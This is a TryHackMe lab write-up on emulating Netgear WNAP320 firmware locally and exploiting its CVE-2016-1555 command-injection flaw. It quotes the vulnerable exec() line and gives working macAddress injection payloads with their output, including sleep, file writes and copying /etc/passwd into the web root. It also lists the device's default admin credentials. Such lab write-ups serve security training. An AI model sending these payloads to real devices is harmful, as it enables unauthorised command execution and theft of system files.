TryHackMe - Intro to IoT Pentesting Writeup
Room Overview
For this room, my goal was to get everything working locally on my own machine, so a lot of what follows is about setting up the local environment. If you just want to complete the room using the box that TryHackMe provides, you can skip some of these steps — Part 3, for instance, is entirely about the local setup.
Environment
- System: WSL2 Kali Linux
- Target: Netgear WNAP320 v2.0.3 firmware
- Vulnerability: CVE-2016-1555 - command injection
Part 1: Downloading and Extracting the Firmware
1.1 Download the firmware
mkdir ~/netgear-firmware && cd ~/netgear-firmware
wget https://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip
1.2 Unpack the firmware
# First layer: unzip
unzip 'WNAP320 Firmware Version 2.0.3.zip'
# Second layer: TAR extraction
tar -xvf WNAP320_V2.0.3_firmware.tar
# Look at the extracted files
ls -la
# Output: rootfs.squashfs, vmlinux.gz.uImage, kernel.md5, root_fs.md5
1.3 Extract the SquashFS filesystem
Attempt 1: using binwalk (failed)
binwalk -e rootfs.squashfs
cd _rootfs.squashfs.extracted/squashfs-root
ls -la
Problem: the directory is empty!
total 8
drwxr-xr-x 2 user user 4096 Oct 24 17:55 .
drwxr-xr-x 3 user user 4096 Oct 24 17:55 ..
Cause: binwalk is missing the sasquatch tool needed to handle the older SquashFS v3.1 format.
Solution: install sasquatch
# Go back up a directory
cd ~/netgear-firmware
# Install sasquatch
sudo apt install sasquatch -y
# Clean up the old extraction directory
rm -rf _rootfs.squashfs.extracted
# Extract again
binwalk -e rootfs.squashfs
Successful output:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Squashfs filesystem, big endian, lzma signature,
version 3.1, size: 4433988 bytes, 1247 inodes
Verify the extraction:
cd _rootfs.squashfs.extracted/squashfs-root
ls -la
You should now see a complete Linux filesystem:
drwxr-xr-x 13 user user 4096 Jun 23 2011 .
drwxr-xr-x 4 user user 4096 Oct 24 17:59 ..
drwxr-xr-x 2 user user 4096 Jun 23 2011 bin
drwxr-xr-x 2 user user 4096 Jun 23 2011 dev
drwxr-xr-x 9 user user 4096 Jun 23 2011 etc
drwxr-xr-x 4 user user 4096 Jun 23 2011 home
drwxr-xr-x 3 user user 4096 Jun 23 2011 lib
lrwxrwxrwx 1 user user 11 Jun 23 2011 linuxrc -> bin/busybox
drwxr-xr-x 2 user user 4096 Jun 23 2011 proc
drwx------ 2 user user 4096 Jun 23 2011 root
drwxr-xr-x 2 user user 4096 Jun 23 2011 sbin
drwxrwxrwx 2 user user 4096 Jun 23 2011 tmp
drwxr-xr-x 6 user user 4096 Jun 23 2011 usr
drwxr-xr-x 4 user user 4096 Jun 23 2011 var
Part 2: Vulnerability Analysis
2.1 Look at the vulnerable code
cat home/www/boardDataWW.php
The key line (line 9):
exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
Analysis:
- Dangerous function:
exec()runs system commands directly. - Input concatenation:
$_REQUEST['macAddress']is spliced straight into the command. - Flawed regex validation:
ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)
- No
^or$anchors. - The string only needs to contain 12 hex characters to pass.
- You're free to append anything before or after it.
Bypass examples:
112233445566; whoami ✅ passes validation
; cat /etc/passwd; 112233445566 ✅ passes validation
112233445566 && ls -la ✅ passes validation
Part 3: Environment Setup
3.1 Install the required packages
sudo apt update
sudo apt install -y git qemu-system-arm qemu-system-mips qemu-system-x86 \
qemu-utils busybox-static python3 python3-pip binwalk \
squashfs-tools sasquatch socat
3.2 Install Firmadyne
cd ~
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd firmadyne
# Download the kernels and binaries
sudo ./download.sh
What gets downloaded:
- MIPS kernels (vmlinux.mipseb, vmlinux.mipsel)
- ARM kernel (zImage.armel)
- console binaries
- libnvram libraries
3.3 Configure Firmadyne
Problem 1: Python version issue
# Error: env: 'python': No such file or directory
# Fix:
sudo ln -s /usr/bin/python3 /usr/bin/python
Problem 2: missing variable in the config file
# Edit the config file
sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
/firmadyne/firmadyne/firmadyne.config
Problem 3: compile console and libnvram
# Compile console
cd ~/firmadyne/sources/console
sudo make
# Compile libnvram
cd ~/firmadyne/sources/libnvram
sudo make
3.4 Install FAT (Firmware Analysis Toolkit)
cd ~
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
# Edit the config
nano fat.config
What to set:
[DEFAULT]
firmadyne_path=/firmadyne/firmadyne
Part 4: Firmware Emulation
4.1 Clean up and prepare the firmware
cd ~/firmware-analysis-toolkit
# Copy in the firmware
sudo cp ~/netgear-firmware/rootfs.squashfs .
# Clear out old images (important!)
sudo python3 reset.py
4.2 Launch FAT
sudo python3 fat.py rootfs.squashfs
Output:
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: rootfs.squashfs
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('brtrunk', '192.168.0.100')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
Note the IP address: 192.168.0.100
4.3 Boot the firmware
Press ENTER and wait for the system to boot.
Signs of success:
System initialization is .. [DONE...]
Welcome to SDK.
Have a lot of fun...
netgear123456 login:
[ 26.768000] brtrunk: port 1(eth0) entering forwarding state
[ 31.904000] eth0: no IPv6 routers present
[ 32.064000] brtrunk: no IPv6 routers present
⚠️ Heads up: you may see NAND error messages:
[ 481.088000] nand_do_write_ops: Attempt to write not page aligned data
This is normal and doesn't affect the command injection exploit!
⚠️ Important: keep this terminal running — don't close it!
Part 5: Setting Up Network Access (WSL)
5.1 Open a new terminal
Press Ctrl + Shift + T or open a new terminal window.
5.2 Set up port forwarding
# Install socat (if not already installed)
sudo apt install socat -y
# Set up forwarding (run in the background)
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80
5.3 Find the WSL IP
hostname -I
Or:
ip addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
Example output:
172.21.26.76
5.4 Test the connection
# Test from inside WSL
curl http://192.168.0.100
# You should see HTML output
Example of a successful response:
<FRAMESET rows="70px,*,28px">
<FRAME name="header" scrolling="no" NORESIZE frameborder="0" src="login_header.php">
...
Part 6: Exploitation
6.1 Browse from Windows
Open your browser and go to:
http://172.21.26.76:8081/
Login credentials:
- Username:
admin - Password:
password
6.2 Visit the vulnerable page
http://172.21.26.76:8081/boardDataWW.php
You'll see a form with:
- A MAC Address input field
- A Region option (Worldwide)
- A Submit button
6.3 Set up Burp Suite
- Open Burp Suite
- Configure the browser proxy:
- Proxy:
127.0.0.1 - Port:
8080
- Proxy:
- Turn on interception in Burp:
- Proxy → Intercept is on ✅
6.4 Intercept the request
Enter any MAC address into the form:
MAC Address: 112233445566
Click Submit, and Burp will intercept the request:
POST /boardDataWW.php HTTP/1.1
Host: 172.21.26.76:8081
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
macAddress=112233445566®info=0&writeData=Submit
Send it to Repeater:
- Right-click the request
- Choose Send to Repeater
- Or press
Ctrl + R
6.5 Confirming and Exploiting the Vulnerability
Payload 1: Time-delay test (confirm the vulnerability)
Modify the request in Repeater:
macAddress=112233445566; sleep 5®info=0&writeData=Submit
Click Send and watch the response time.
Result:
- ✅ A clear 5-second delay → vulnerability confirmed!
Payload 2: Write a test file
macAddress=112233445566; echo PWNED > /home/www/test.txt®info=0&writeData=Submit
Click Send, then visit in your browser:
http://172.21.26.76:8081/test.txt
Successfully shows:
PWNED
Payload 3: Read /etc/passwd
macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt®info=0&writeData=Submit
Visit: http://172.21.26.76:8081/passwd.txt
Successful output:
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
admin:x:0:0:Default non-root user:/home/cli/menu:/usr/sbin/cli
🎉 Attack successful!
Troubleshooting
Problem 1: the squashfs-root directory is empty
Cause: binwalk is missing the sasquatch tool.
Fix:
sudo apt install sasquatch -y
rm -rf _rootfs.squashfs.extracted
binwalk -e rootfs.squashfs
Problem 2: python: command not found
Cause: Firmadyne's scripts need the python command.
Fix:
sudo ln -s /usr/bin/python3 /usr/bin/python
python --version # verify
Problem 3: FIRMWARE_DIR: unbound variable
Cause: the Firmadyne config file isn't set.
Fix:
sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
/firmadyne/firmadyne/firmadyne.config
Problem 4: QEMU can't load the kernel
Cause: the kernel file wasn't downloaded or is corrupted.
Fix:
cd ~/firmadyne
sudo ./download.sh # re-download the binaries
ls -la binaries/ # confirm the files exist
Problem 5: FAT says "Too many stale images"
Cause: old images are still hanging around.
Fix:
cd ~/firmware-analysis-toolkit
sudo python3 reset.py
# Or delete them manually
sudo rm -rf /firmadyne/firmadyne/scratch/*
sudo rm -rf /firmadyne/firmadyne/images/*
Problem 6: Windows can't reach the WSL service
Cause: port forwarding isn't set up correctly.
Fix:
# Confirm socat is running
ps aux | grep socat
# If it isn't, set it up again
sudo killall socat
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80 &
# Verify the forwarding
netstat -tuln | grep 8081
Problem 7: the command runs but can't read the file
Cause: some commands may not exist, or there's a permissions issue.
Fix: try different commands
# If cat doesn't work, try more
macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt®info=0&writeData=Submit
# If redirection doesn't work, try cp
macAddress=112233445566; cp /etc/passwd /home/www/passwd.txt®info=0&writeData=Submit
# Use the full path
macAddress=112233445566; /bin/cat /etc/passwd > /home/www/passwd.txt®info=0&writeData=Submit
Problem 8: NAND error messages
[ 481.088000] nand_do_write_ops: Attempt to write not page aligned data
Explanation: this is normal! The original wr_mfg_data command tries to write to hardware, which fails inside the QEMU emulation environment.
Important: this does not affect the commands we inject! You can safely ignore it.
Member discussion